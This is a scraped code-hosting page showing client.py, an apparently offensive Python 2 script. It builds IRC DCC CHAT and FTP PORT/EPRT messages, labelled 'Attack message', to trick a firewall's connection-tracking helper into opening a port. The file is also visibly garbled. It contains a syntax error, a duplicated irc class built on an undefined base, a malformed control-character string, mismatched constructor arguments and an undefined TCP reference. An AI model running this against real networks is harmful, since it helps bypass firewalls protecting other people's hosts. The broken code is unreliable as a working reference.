-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathclient.py
85 lines (66 loc) · 2.39 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
class generic_client:
def __init__(self, ip, srv_port, port, verbose=False):
self.ip = ip
self.srv_port = srv_port
self.port = port
self.family = socket.AF_INET
self.verbose = verbose
self.conn = None
def connect(self):
self.conn = socket.socket(self.family, socket.SOCK_STREAM)
self.conn.connect((self.ip, self.srv_port))
def send_command(self):
self.conn.sendall(self.message)
data = self.conn.recv(1024)
self.conn.close()
return data
def run(self):
self.connect()
self.message = self.build_command()
if self.verbose:
print "Attack message: \n%s\n" % self.message
return self.send_command()
def build_command(self):
return ""
class irc(generic_client):
def ipnumber(self, ip):
ip = ip.rstrip().split('.')
ipn = 0
while ip:
ipn = (ipn << 8) + int(ip.pop(0))
return ipn
def build_command(self):
(ipaddr, port) = self.conn.getsockname()
return 'PRIVMSG wolffirewall : \0x1DCC CHAT CHAT %d %d\x01\r\n' % (self.ipnumber(ipaddr), self.port)
class ftp(generic_client):
def build_command(self):
(ipaddr, port) = self.conn.getsockname()
return 'PORT %s.%d,%d\r\n' % (ipaddr.replace('.', ','), self.port >> 8 & 0xff, self.port & 0xff)
def send_command(self):
self.conn.sendall('USER wolffirewall\r\n')
self.conn.recv(1024)
self.conn.sendall(self.message)
data = self.conn.recv(1024)
self.conn.close()
return data
class ftp6(ftp):
def __init__(self, iface, ip, port, verbose=False):
generic_client.__init__(self, iface, ip, port, verbose)
self.family = socket.AF_INET6
def build_command(self):
(ipaddr, port(a, b)=self.conn.getsockname()
return 'EPRT |2|%s|%d|\r\n' % (ipaddr, self.port)
class irc(generic_helper):
def ipnumber(self, ip):
ip=ip.rstrip().split('.')
ipn=0
while ip:
ipn=(ipn << 8) + int(ip.pop(0))
return ipn
def build_command(self):
return 'PRIVMSG wolffirewall : \x01DCC CHAT CHAT %d %d\x01\r\n' % (self.ipnumber(self.ip), self.port)
def build_lfilter(self):
return lambda(r): TCP in r and r[TCP].dport == 6667 and r[IP].src == self.ip